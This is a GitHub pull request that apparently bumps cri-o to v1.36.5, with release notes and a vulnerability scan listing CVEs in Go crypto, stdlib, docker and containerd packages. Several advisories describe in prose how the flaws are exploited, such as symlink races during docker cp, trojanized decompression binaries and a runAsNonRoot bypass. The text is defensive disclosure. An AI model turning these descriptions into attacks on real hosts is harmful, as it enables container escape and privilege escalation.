Skip to content

chore(deps): update cri-o to v1.36.5 - #25646

Open
uniget-bot wants to merge 1 commit into
mainfrom
renovate/cri-o-1.36.x
Open

chore(deps): update cri-o to v1.36.5#25646
uniget-bot wants to merge 1 commit into
mainfrom
renovate/cri-o-1.36.x

Conversation

@uniget-bot

@uniget-bot uniget-bot commented Aug 24, 2026

Copy link
Copy Markdown

This PR contains the following updates:

Package Update Change
cri-o patch 1.36.31.36.5

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.


Release Notes

cri-o/cri-o (cri-o)

v1.36.5

Compare Source

CRI-O v1.36.5

The release notes have been generated for the commit range
v1.36.4...v1.36.5 on Wed, 02 Sep 2026 08:47:31 UTC.

Downloads

Download one of our static release bundles via our Google Cloud Bucket:

The OpenVEX report for this release is available at:

The SLSA provenance attestation for this release is available at:

All release artifacts (bundles, SBOMs, VEX, and provenance) are also available as signed OCI artifacts at ghcr.io/cri-o/bundle:v1.36.5.

To verify the artifact signatures via cosign, run:

> export COSIGN_EXPERIMENTAL=1
> cosign verify-blob cri-o.amd64.v1.36.5.tar.gz \
    --certificate-identity https://github.com/cri-o/packaging/.github/workflows/obs.yml@refs/heads/main \
    --certificate-oidc-issuer https://token.actions.githubusercontent.com \
    --certificate-github-workflow-repository cri-o/packaging \
    --certificate-github-workflow-ref refs/heads/main \
    --bundle cri-o.amd64.v1.36.5.tar.gz.bundle

To verify the bill of materials (SBOM) in SPDX format using the bom tool, run:

> tar xfz cri-o.amd64.v1.36.5.tar.gz
> bom validate -e cri-o.amd64.v1.36.5.tar.gz.spdx -d cri-o

To verify the OpenVEX vulnerability report, run:

> cosign verify-blob cri-o.v1.36.5.openvex.json \
    --certificate-identity https://github.com/cri-o/packaging/.github/workflows/obs.yml@refs/heads/main \
    --certificate-oidc-issuer https://token.actions.githubusercontent.com \
    --certificate-github-workflow-repository cri-o/packaging \
    --certificate-github-workflow-ref refs/heads/main \
    --bundle cri-o.v1.36.5.openvex.json.bundle

To verify the SLSA provenance attestation, run:

> cosign verify-blob cri-o.v1.36.5.provenance.json \
    --certificate-identity https://github.com/cri-o/packaging/.github/workflows/obs.yml@refs/heads/main \
    --certificate-oidc-issuer https://token.actions.githubusercontent.com \
    --certificate-github-workflow-repository cri-o/packaging \
    --certificate-github-workflow-ref refs/heads/main \
    --bundle cri-o.v1.36.5.provenance.json.bundle

Changelog since v1.36.4

Changes by Kind
Bug or Regression
  • Deduplicate concurrent image volume MountImage calls to avoid containers/storage lock serialization when many pods mount the same image volume simultaneously. (#​10255, @​openshift-cherrypick-robot)
  • Fix a bug in high performance hooks where an init container would continue to hold a cpuset that could be used by a regular container in the same pod. (#​10236, @​openshift-cherrypick-robot)

Dependencies

Added

Nothing has changed.

Changed

Nothing has changed.

Removed

Nothing has changed.

v1.36.4

Compare Source

CRI-O v1.36.4

The release notes have been generated for the commit range
v1.36.3...v1.36.4 on Mon, 24 Aug 2026 16:51:10 UTC.

Downloads

Download one of our static release bundles via our Google Cloud Bucket:

The OpenVEX report for this release is available at:

The SLSA provenance attestation for this release is available at:

All release artifacts (bundles, SBOMs, VEX, and provenance) are also available as signed OCI artifacts at ghcr.io/cri-o/bundle:v1.36.4.

To verify the artifact signatures via cosign, run:

> export COSIGN_EXPERIMENTAL=1
> cosign verify-blob cri-o.amd64.v1.36.4.tar.gz \
    --certificate-identity https://github.com/cri-o/packaging/.github/workflows/obs.yml@refs/heads/main \
    --certificate-oidc-issuer https://token.actions.githubusercontent.com \
    --certificate-github-workflow-repository cri-o/packaging \
    --certificate-github-workflow-ref refs/heads/main \
    --bundle cri-o.amd64.v1.36.4.tar.gz.bundle

To verify the bill of materials (SBOM) in SPDX format using the bom tool, run:

> tar xfz cri-o.amd64.v1.36.4.tar.gz
> bom validate -e cri-o.amd64.v1.36.4.tar.gz.spdx -d cri-o

To verify the OpenVEX vulnerability report, run:

> cosign verify-blob cri-o.v1.36.4.openvex.json \
    --certificate-identity https://github.com/cri-o/packaging/.github/workflows/obs.yml@refs/heads/main \
    --certificate-oidc-issuer https://token.actions.githubusercontent.com \
    --certificate-github-workflow-repository cri-o/packaging \
    --certificate-github-workflow-ref refs/heads/main \
    --bundle cri-o.v1.36.4.openvex.json.bundle

To verify the SLSA provenance attestation, run:

> cosign verify-blob cri-o.v1.36.4.provenance.json \
    --certificate-identity https://github.com/cri-o/packaging/.github/workflows/obs.yml@refs/heads/main \
    --certificate-oidc-issuer https://token.actions.githubusercontent.com \
    --certificate-github-workflow-repository cri-o/packaging \
    --certificate-github-workflow-ref refs/heads/main \
    --bundle cri-o.v1.36.4.provenance.json.bundle

Changelog since v1.36.3

Changes by Kind
Feature
  • Added support for per-container targeting of cpu-load-balancing.crio.io, irq-load-balancing.crio.io, and cpu-quota.crio.io annotations. A container name can be appended to the annotation key (e.g. cpu-load-balancing.crio.io/my-container: "disable") to apply the setting to a specific container rather than all containers in the pod. Container-specific annotations take precedence over pod-level annotations when both are present. (#​10152, @​openshift-cherrypick-robot)
Bug or Regression

Dependencies

Added

Nothing has changed.

Changed

Nothing has changed.

Removed

Nothing has changed.


Configuration

📅 Schedule: (in timezone Europe/Berlin)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate CLI.

@nicholasdille-bot nicholasdille-bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Auto-approved because label type/renovate is present.

@uniget-bot uniget-bot changed the title chore(deps): update cri-o to v1.36.4 chore(deps): update cri-o to v1.36.5 Sep 2, 2026
@github-actions

github-actions Bot commented Sep 3, 2026

Copy link
Copy Markdown

🔍 Vulnerabilities of ghcr.io/uniget-org/tools/cri-o:1.36.4

📦 Image Reference ghcr.io/uniget-org/tools/cri-o:1.36.4
digestsha256:affd8e8fb58e6356db6399e5625e90ae61a9b1af073afb47c0d18b87337dcf97
vulnerabilitiescritical: 9 high: 24 medium: 23 low: 1 unspecified: 8
platformlinux/amd64
size21 MB
packages259
critical: 7 high: 5 medium: 4 low: 0 unspecified: 1golang.org/x/crypto 0.48.0 (golang)

pkg:golang/golang.org/x/crypto@0.48.0

critical 10.0: CVE--2026--46595 Incorrect Implementation of Authentication Algorithm

Affected range<0.52.0
Fixed version0.52.0
CVSS Score10
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
EPSS Score0.503%
EPSS Percentile41st percentile
Description

Previously, CVE-2024-45337 fixed an authorization bypass for misused ssh server configurations; if any other type of callback is passed other than public key, then the source-address validation would be skipped.

critical 9.1: CVE--2026--42508 Improper Certificate Validation

Affected range<0.52.0
Fixed version0.52.0
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score7.314%
EPSS Percentile94th percentile
Description

Previously, a revoked 'SignatureKey' belonging to a CA was not correctly checked for revocation. Now, both the 'key' and 'key.SignatureKey' are checked for @Revoked.

critical 9.1: CVE--2026--39834 Integer Overflow or Wraparound

Affected range<0.52.0
Fixed version0.52.0
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
EPSS Score0.525%
EPSS Percentile43rd percentile
Description

When writing data larger than 4GB in a single Write call on an SSH channel, an integer overflow in the internal payload size calculation caused the write loop to spin indefinitely, sending empty packets without making progress. The size comparison now uses int64 to prevent truncation.

critical 9.1: CVE--2026--39833 Missing Authorization

Affected range<0.52.0
Fixed version0.52.0
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score0.412%
EPSS Percentile34th percentile
Description

The in-memory keyring returned by NewKeyring() silently accepted keys with the ConfirmBeforeUse constraint but never enforced it. The key would sign without any confirmation prompt, with no indication to the caller that the constraint was not in effect. NewKeyring() now returns an error when unsupported constraints are requested.

critical 9.1: CVE--2026--39832 Improper Preservation of Permissions

Affected range<0.52.0
Fixed version0.52.0
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score0.600%
EPSS Percentile46th percentile
Description

When adding a key to a remote agent constraint extensions such as restrict-destination-v00@openssh.com were not serialized in the request. Destination restrictions were silently stripped when forwarding keys, allowing unrestricted use of the key on the remote host. The client now serializes all constraint extensions. Additionally, the in-memory keyring returned by NewKeyring() now rejects keys with unsupported constraint extensions instead of silently ignoring them.

critical 9.1: CVE--2026--39831 Missing Authorization

Affected range<0.52.0
Fixed version0.52.0
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score0.420%
EPSS Percentile35th percentile
Description

The Verify() method for FIDO/U2F security key types (sk-ecdsa-sha2-nistp256@openssh.com, sk-ssh-ed25519@openssh.com) did not check the User Presence flag. Signatures generated without physical touch were accepted, allowing unattended use of a hardware security key. To restore the previous behavior, return a "no-touch-required" extension in Permissions.Extensions from PublicKeyCallback.

critical 9.1: CVE--2026--39830 Improper Restriction of Operations within the Bounds of a Memory Buffer

Affected range<0.52.0
Fixed version0.52.0
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
EPSS Score0.621%
EPSS Percentile47th percentile
Description

A malicious SSH peer could send unsolicited global request responses to fill an internal buffer, blocking the connection's read loop. The blocked goroutine could not be released by calling Close(), resulting in a resource leak per connection. Unsolicited global responses are now discarded.

high : CVE--2026--78662

Affected range<0.56.0
Fixed version0.56.0
Description

Previously, a channel registered in the mux's chanList is not usable until it is established. A malicious peer was able flood the channel's incomingRequests, deadlocking the entire connection.

Now, we add an atomic established state, set when a channel becomes usable. Until such a time, handlePacket drops every packet other than the open confirmation/failure, without blocking and without tearing down the connection.

high : CVE--2026--56855

Affected range<0.56.0
Fixed version0.56.0
Description

Previously, after a channel has been established, a malicious peer could send crafted messages that would deadlock the entire connection.

Now, we handle all RFC 4254 channel messages; global requests are handled explicitly. Then, treat all other messages as a protocol error and tear the connection down instead of buffering and blocking.

high : CVE--2026--56854

Affected range<0.55.0
Fixed version0.55.0
EPSS Score0.325%
EPSS Percentile25th percentile
Description

The source-address critical option in the Permissions returned by an authentication callback was only enforced for the PublicKeyCallback and VerifiedPublicKeyCallback paths, extending the fix for CVE-2026-46595. Permissions returned by the PasswordCallback, KeyboardInteractiveCallback, NoClientAuthCallback, and GSSAPIWithMICConfig.AllowLogin callbacks were not validated against the client's remote address, so a source-address restriction set by those callbacks was silently ignored. The check is now applied to the Permissions returned by any authentication callback.

high 7.5: CVE--2026--46597 Incorrect Type Conversion or Cast

Affected range<0.52.0
Fixed version0.52.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.473%
EPSS Percentile39th percentile
Description

An incorrectly placed cast from bytes to int allowed for server-side panic in the AES-GCM packet decoder for well-crafted inputs.

high 7.5: CVE--2026--39829 Improper Validation of Specified Quantity in Input

Affected range<0.52.0
Fixed version0.52.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.467%
EPSS Percentile39th percentile
Description

The RSA and DSA public key parsers did not enforce size limits on key parameters. A crafted public key with an excessively large modulus or DSA parameter could cause several minutes of CPU consumption during signature verification. This could be triggered by unauthenticated clients during public key authentication. RSA moduli are now limited to 8192 bits, and DSA parameters are validated per FIPS 186-2.

medium 6.5: CVE--2026--39827 Improper Enforcement of Message Integrity During Transmission in a Communication Channel

Affected range<0.52.0
Fixed version0.52.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.279%
EPSS Percentile20th percentile
Description

An authenticated SSH client that repeatedly opened channels which were rejected by the server caused unbounded memory growth, eventually crashing the server process and affecting all connected users. Rejected channels are now properly removed from the connection's internal state and released for garbage collection.

medium 6.3: CVE--2026--39828 Improper Preservation of Permissions

Affected range<0.52.0
Fixed version0.52.0
CVSS Score6.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
EPSS Score0.369%
EPSS Percentile30th percentile
Description

When an SSH server authentication callback returned PartialSuccessError with non-nil Permissions, those permissions were silently discarded, potentially dropping certificate restrictions such as force-command after a second factor succeeded. Returning non-nil Permissions with PartialSuccessError now results in a connection error.

medium 5.3: CVE--2026--46598 Improper Validation of Array Index

Affected range<0.52.0
Fixed version0.52.0
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.412%
EPSS Percentile34th percentile
Description

For certain crafted inputs, a 'ed25519.PrivateKey' was created by casting malformed wire bytes, leading to a panic when used.

medium 5.3: CVE--2026--39835 Improper Certificate Validation

Affected range<0.52.0
Fixed version0.52.0
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.504%
EPSS Percentile41st percentile
Description

SSH servers which use CertChecker as a public key callback without setting IsUserAuthority or IsHostAuthority could be caused to panic by a client presenting a certificate. CertChecker now returns an error instead of panicking when these callbacks are nil.

unspecified : GO--2026--5932

Affected range>=0
Fixed versionNot Fixed
Description

The golang.org/x/crypto/openpgp package is unsafe by design, has numerous known security issues, is not maintained, and should not be used.

If you are required to interoperate with OpenPGP systems and need a maintained package, consider github.com/ProtonMail/go-crypto/openpgp which is a maintained fork that aims to be a drop-in replacement for this package.

critical: 1 high: 6 medium: 4 low: 0 unspecified: 2stdlib 1.26.3 (golang)

pkg:golang/stdlib@1.26.3

critical : CVE--2026--39821

Affected range>=1.26.0-0
<1.26.6
Fixed version1.26.6
EPSS Score0.692%
EPSS Percentile50th percentile
Description

The ToASCII and ToUnicode functions incorrectly accept Punycode-encoded labels that decode to an ASCII-only label. For example, ToUnicode("xn--example-.com") incorrectly returns the name "example.com" rather than an error.

This behavior can lead to privilege escalation in programs using the idna package. For example, a program which performs privilege checks on the ASCII hostname may reject "example.com" but permit "xn--example-.com". If that program subsequently converts the ASCII hostname to Unicode, it will inadvertently permits access to the Unicode name "example.com".

high : CVE--2026--56862

Affected range>=1.26.0-0
<1.26.6
Fixed version1.26.6
EPSS Score0.568%
EPSS Percentile45th percentile
Description

Handshake messages, such as KeyUpdate, are always considered as state-advancing, regardless of whether a handshake has been completed or not. As a result, a malicious client can keep sending KeyUpdate messages to force the server to keep performing key derivation operations indefinitely.

high : CVE--2026--56859

Affected range>=1.26.0-0
<1.26.6
Fixed version1.26.6
EPSS Score0.568%
EPSS Percentile45th percentile
Description

Previously, DecodeElement would reset the depth counter causing it to never fire; this could lead to stack exhaustion.

high : CVE--2026--56853

Affected range>=1.26.0-0
<1.26.6
Fixed version1.26.6
EPSS Score0.568%
EPSS Percentile45th percentile
Description

When a server is configured to support unencrypted HTTP/2, it reads a few bytes from each new connection to see if they contain the HTTP/2 client preface. ReadHeaderTimeout is unexpectedly not being applied when doing this.

high : CVE--2026--46600

Affected range>=1.26.0-0
<1.26.6
Fixed version1.26.6
EPSS Score0.549%
EPSS Percentile44th percentile
Description

Parsing an invalid SVCB or HTTPS RR can panic when the size of a parameter value overflows the message buffer.

high : CVE--2026--42504

Affected range>=1.26.0-0
<1.26.4
Fixed version1.26.4
EPSS Score0.560%
EPSS Percentile44th percentile
Description

Decoding a maliciously-crafted MIME header containing many invalid encoded-words can consume excessive CPU.

high : CVE--2026--33818

Affected range>=1.26.0-0
<1.26.6
Fixed version1.26.6
EPSS Score0.568%
EPSS Percentile45th percentile
Description

Enforce a recursion limit in Unmarshal to prevent stack exhaustion when parsing deeply-nested, recursive structures.

medium : CVE--2026--27145

Affected range>=1.26.0-0
<1.26.4
Fixed version1.26.4
EPSS Score0.591%
EPSS Percentile46th percentile
Description

(*x509.Certificate).VerifyHostname previously called matchHostnames in a loop over all DNS Subject Alternative Name (SAN) entries. This caused strings.Split(host, ".") to execute repeatedly on the same input hostname.

With a large DNS SAN list, verification costs scaled quadratically based on the number of SAN entries multiplied by the hostname's label count. Because x509.Verify validates hostnames before building the certificate chain, this overhead occurred even for untrusted certificates.

medium : CVE--2026--56858

Affected range>=1.26.0-0
<1.26.6
Fixed version1.26.6
EPSS Score0.310%
EPSS Percentile23rd percentile
Description

Previously, pathological inputs could close an unescaped '/' early, allowing for attack-controlled data to inject arbitrary content, potentially leading to XSS.

medium : CVE--2026--56860

Affected range>=1.26.0-0
<1.26.6
Fixed version1.26.6
EPSS Score0.518%
EPSS Percentile42nd percentile
Description

Previously, resolving relative paths containing parent directory ('..') segments performed string conversions and buffer rewrites on each step, resulting in quadratic time complexity and high memory allocation overhead.

Now, path resolution operates on a byte buffer using index-based backtracking for '..' segments, eliminating the quadratic time complexity and significantly reducing memory allocations.

medium : CVE--2026--42507

Affected range>=1.26.0-0
<1.26.4
Fixed version1.26.4
EPSS Score0.370%
EPSS Percentile30th percentile
Description

When returning errors, functions in the net/textproto package would include its input as part of the error. This might allow an attacker to inject misleading content to errors that are printed or logged.

unspecified : CVE--2026--42505

Affected range>=1.26.0-0
<1.26.5
Fixed version1.26.5
EPSS Score0.382%
EPSS Percentile31st percentile
Description

Handshakes which used Encrypted Client Hello could be de-anonymized by a passive network observer due to a disclosure of pre-shared key identities in the unencrypted client hello.

unspecified : CVE--2026--39822

Affected range>=1.26.0-0
<1.26.5
Fixed version1.26.5
EPSS Score0.232%
EPSS Percentile14th percentile
Description

On Unix systems, opening a file in an os.Root improperly follows symlinks to locations outside of the Root when the final path component of the a path is a symbolic link and the path ends in /.

For example, 'root.Open("symlink/")' will open "symlink" even when "symlink" is a symbolic link pointing outside of the root.

critical: 1 high: 2 medium: 5 low: 0 golang.org/x/net 0.51.0 (golang)

pkg:golang/golang.org/x/net@0.51.0

critical : CVE--2026--39821

Affected range<0.55.0
Fixed version0.55.0
EPSS Score0.692%
EPSS Percentile50th percentile
Description

The ToASCII and ToUnicode functions incorrectly accept Punycode-encoded labels that decode to an ASCII-only label. For example, ToUnicode("xn--example-.com") incorrectly returns the name "example.com" rather than an error.

This behavior can lead to privilege escalation in programs using the idna package. For example, a program which performs privilege checks on the ASCII hostname may reject "example.com" but permit "xn--example-.com". If that program subsequently converts the ASCII hostname to Unicode, it will inadvertently permits access to the Unicode name "example.com".

high : CVE--2026--46600

Affected range<0.56.0
Fixed version0.56.0
EPSS Score0.549%
EPSS Percentile44th percentile
Description

Parsing an invalid SVCB or HTTPS RR can panic when the size of a parameter value overflows the message buffer.

high : CVE--2026--33814

Affected range<0.53.0
Fixed version0.53.0
EPSS Score0.781%
EPSS Percentile54th percentile
Description

When processing HTTP/2 SETTINGS frames, transport will enter an infinite loop of writing CONTINUATION frames if it receives a SETTINGS_MAX_FRAME_SIZE with a value of 0.

medium 6.5: CVE--2026--25680 Uncontrolled Resource Consumption

Affected range<0.55.0
Fixed version0.55.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.326%
EPSS Percentile25th percentile
Description

In Go Net (golang.org/x/net) before verion 0.55.0, parsing arbitrary HTML can consume excessive CPU time, possibly leading to denial of service.

medium : CVE--2026--42506

Affected range<0.55.0
Fixed version0.55.0
EPSS Score0.235%
EPSS Percentile14th percentile
Description

Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering.

medium : CVE--2026--42502

Affected range<0.55.0
Fixed version0.55.0
EPSS Score0.223%
EPSS Percentile13th percentile
Description

Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering.

medium : CVE--2026--27136

Affected range<0.55.0
Fixed version0.55.0
EPSS Score0.223%
EPSS Percentile13th percentile
Description

Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering.

medium : CVE--2026--25681

Affected range<0.55.0
Fixed version0.55.0
EPSS Score0.223%
EPSS Percentile13th percentile
Description

Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering.

critical: 0 high: 2 medium: 2 low: 0 github.com/docker/docker 28.5.2+incompatible (golang)

pkg:golang/github.com/docker/docker@28.5.2%2Bincompatible

high 7.2: CVE--2026--42306 Time-of-check Time-of-use (TOCTOU) Race Condition

Affected range<=28.5.2
Fixed versionNot Fixed
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:N/I:H/A:H
EPSS Score0.104%
EPSS Percentile1st percentile
Description

Summary

A race condition during docker cp mount setup allows a malicious container to redirect a bind mount target to an arbitrary host path, potentially overwriting host files or causing denial of service.

Details

When copying files into a container, the daemon sets up a temporary filesystem view by bind-mounting volumes into a private mount namespace. During this setup, the mount destination is created inside the container root and then a bind mount is attached using the container-relative path resolved to an absolute host path.

Between mountpoint creation and the mount() syscall, a process running inside the container can replace the destination (or a parent path component) with a symlink pointing to an arbitrary location on the host. The mount() syscall follows the symlink, causing the volume to be bind-mounted onto an arbitrary host path instead of the intended container path.

Impact

A malicious container can redirect a volume bind mount to an arbitrary host path. The impact depends on the volume content and mount options:

  • If the volume is writable, arbitrary host files at the redirected path could be overwritten with the volume's contents.
  • If the volume is read-only, the host path is masked by the mount for the duration of the operation, causing denial of service.
  • In all cases the mount is temporary (torn down after the docker cp completes), but the effects of any writes persist.

Conditions for exploitation

  • A container must have at least one volume mount.
  • A process inside the container must be able to rapidly create and swap symlinks at the volume mount destination path.
  • An operator must initiate a docker cp into that container, or call the PUT /containers/{id}/archive or HEAD /containers/{id}/archive API endpoints.

Not affected

  • Containers that do not have volume mounts are not affected, as the race occurs during volume bind-mount setup.

Workarounds

  • Only run containers from trusted images.
  • Avoid using docker cp with untrusted running containers.
  • Use authorization plugins to restrict access to the archive API endpoints (PUT /containers/{id}/archive, HEAD /containers/{id}/archive).

high 7.2: CVE--2026--41567 Uncontrolled Search Path Element

Affected range<=28.5.2
Fixed versionNot Fixed
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N
EPSS Score0.161%
EPSS Percentile6th percentile
Description

Summary

When a user uploads a compressed archive into a container, a malicious image can execute arbitrary code with daemon (host root) privileges.

Details

When handling PUT /containers/{id}/archive requests with compressed archives, the daemon decompresses them using external system binaries. Due to incorrect ordering of operations, these binaries are resolved from the container's filesystem rather than the host's. A container image that includes a trojanized decompression binary can achieve code execution as the daemon process whenever a compressed archive is uploaded to that container.

The executed binary runs with the daemon's full privileges, including host root UID and unrestricted capabilities.

Impact

Arbitrary code execution as host root, crossing the container-to-host trust boundary.

Conditions for exploitation

  • A user must run a container from a malicious image that contains a trojanized decompression binary.
  • The user must then upload a compressed archive (xz or gzip) into that container, either by piping a compressed archive via docker cp - or by calling the PUT /containers/{id}/archive API directly with compressed content.

Not affected

Standard docker cp usage is not affected, because the CLI sends uncompressed tar by default:

docker cp ./file.txt mycontainer:/file.txt

This can only be exploited when explicitly passing a xz or gzip-compressed archive to docker cp or the PUT /containers/{id}/archive API, for example:

cat archive.tar.xz | docker cp - mycontainer:/dir

Decompression formats using pure Go implementations (bzip2, zstd, and gzip when the container image does not contain an unpigz binary) are also not affected.

Workarounds

  • Only run containers from trusted images.
  • Use authorization plugins to limit access to the PUT /containers/{id}/archive endpoint.
  • Avoid piping compressed archives into containers created from untrusted images.

medium 6.8: CVE--2026--33997 Off-by-one Error

Affected range<29.3.1
Fixed versionNot Fixed
CVSS Score6.8
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
EPSS Score0.387%
EPSS Percentile32nd percentile
Description

Summary

A security vulnerability has been detected that allows plugins privilege validation to be bypassed during docker plugin install. Due to an error in the daemon's privilege comparison logic, the daemon may incorrectly accept a privilege set that differs from the one approved by the user.

Plugins that request exactly one privilege are also affected, because no comparison is performed at all.

Impact

If plugins are not in use, there is no impact.

When a plugin is installed, the daemon computes the privileges required by the plugin's configuration and compares them with the privileges approved during installation. A malicious plugin can exploit this bug so that the daemon accepts privileges that differ from what was intended to be approved.

Anyone who depends on the plugin installation approval flow as a meaningful security boundary is potentially impacted.

Depending on the privilege set involved, this may include highly sensitive plugin permissions such as broad device access.

For consideration: exploitation still requires a plugin to be installed from a malicious source, and Docker plugins are relatively uncommon. Docker Desktop also does not support plugins.

Workarounds

If unable to update immediately:

  • Do not install plugins from untrusted sources
  • Carefully review all privileges requested during docker plugin install
  • Restrict access to the Docker daemon to trusted parties, following the principle of least privilege
  • Avoid relying on plugin privilege approval as the only control boundary for sensitive environments

Credits

  • Reported by Cody (c@wormhole.guru, PGP 0x9FA5B73E)

medium 6.1: CVE--2026--41568 Time-of-check Time-of-use (TOCTOU) Race Condition

Affected range<=28.5.2
Fixed versionNot Fixed
CVSS Score6.1
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:N/I:L/A:H
EPSS Score0.108%
EPSS Percentile1st percentile
Description

Summary

A race condition during docker cp mount setup allows a malicious container to create empty files or directories at arbitrary absolute paths on the host filesystem.

This advisory covers the race during mountpoint creation. The related race during the subsequent mount syscall is tracked in GHSA-rg2x-37c3-w2rh

Details

When copying files into a container, the daemon sets up a temporary filesystem view by bind-mounting volumes into a private mount namespace. During this setup, the mount destination path is first resolved within the container's root filesystem using GetResourcePath, and then used to create the mountpoint (file or directory) if it does not already exist via createIfNotExists.

Between path resolution and mountpoint creation, a process running inside the container can swap a path component for a symlink pointing to an arbitrary location on the host. Because createIfNotExists operates on the already-resolved absolute path using standard os.MkdirAll and os.OpenFile — which follow symlinks in intermediate path components — the symlink is followed and the file or directory is created outside the container root filesystem, as root.

Impact

A malicious container can create empty files or directories at arbitrary absolute paths on the host filesystem, running as root. This enables persistent denial of service — for example:

  • Converting /etc/docker/daemon.json into a directory prevents the daemon from restarting
  • Creating /etc/nologin prevents user logins
  • Overwriting critical system paths with empty files can break host services

The container does not gain read or write access to existing host files — only the ability to create new empty files or directories at chosen paths.

Conditions for exploitation

  • A container must be running with a process that can rapidly create and swap symlinks at a volume mount destination path.
  • An operator must initiate a docker cp into that container, or call the PUT /containers/{id}/archive or HEAD /containers/{id}/archive API endpoints.

Not affected

  • Containers that do not have volume mounts are not affected, as the race occurs during volume bind-mount setup.

Patches

Mountpoint creation is now scoped to the container root using os.Root (Go 1.24+), which refuses to follow symlinks that escape the opened root directory. All filesystem operations in createIfNotExists (MkdirAll, OpenFile) are performed through the os.Root handle, so even if a symlink swap occurs after path resolution, the creation stays confined to the container root.

Workarounds

  • Only run containers from trusted images.
  • Avoid using docker cp with untrusted running containers.
  • Use authorization plugins to restrict access to the archive API endpoints (PUT /containers/{id}/archive, HEAD /containers/{id}/archive).
critical: 0 high: 2 medium: 1 low: 0 github.com/containerd/containerd 1.7.30 (golang)

pkg:golang/github.com/containerd/containerd@1.7.30

high 8.7: CVE--2026--53488 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Affected range>=1.7.0
<1.7.33
Fixed version1.7.33
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS Score0.163%
EPSS Percentile6th percentile
Description

Impact

A bug was found in containerd where the CRI plugin propagates labels from an image config (LABEL instruction in Dockerfile) to a container without validation. This may result in executing an arbitrary command on the host, via a plugin that consumes container labels for some operations.

Patches

This bug has been fixed in the following containerd versions:

  • 2.3.2
  • 2.2.5
  • 2.1.9
  • 2.0.10
  • 1.7.33

Users should update to these versions to resolve the issue.

Workarounds

Ensure that only trusted images are used.

Credits

The containerd project would like to thank Anthropic Research, in collaboration with Claude, the GKE Security Team using Gemini, and Robert Prast (@robertprast) for independently discovering and responsibly disclosing this issue in accordance with the containerd security policy.

For more information

If you have any questions or comments about this advisory:

  • Open an issue in containerd
  • Email us at [security@containerd.io](mailto:security@containerd.io)

To report a security issue in containerd:

high 7.3: CVE--2026--46680 Improper Privilege Management

Affected range>=1.7.27
<1.7.32
Fixed version1.7.32
CVSS Score7.3
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS Score0.163%
EPSS Percentile6th percentile
Description

Impact

A bug was found in containerd where containers launched with a numeric User directive that cannot be parsed as a 32-bit integer are incorrectly treated as a username. If a crafted image provides an /etc/passwd file mapping this large numeric string to root, the container ultimately runs as root (UID 0). This allows the Kubernetes runAsNonRoot restriction to be bypassed, causing unexpected behavior for environments that require containers to run as a non-root user.

Patches

This bug has been fixed in the following containerd versions:

  • 2.3.1
  • 2.2.4
  • 2.0.9
  • 1.7.32

Note: The containerd 2.1 release has reached its end of life and a fixed version is not provided.

Users should update to these versions to resolve the issue.

Workarounds

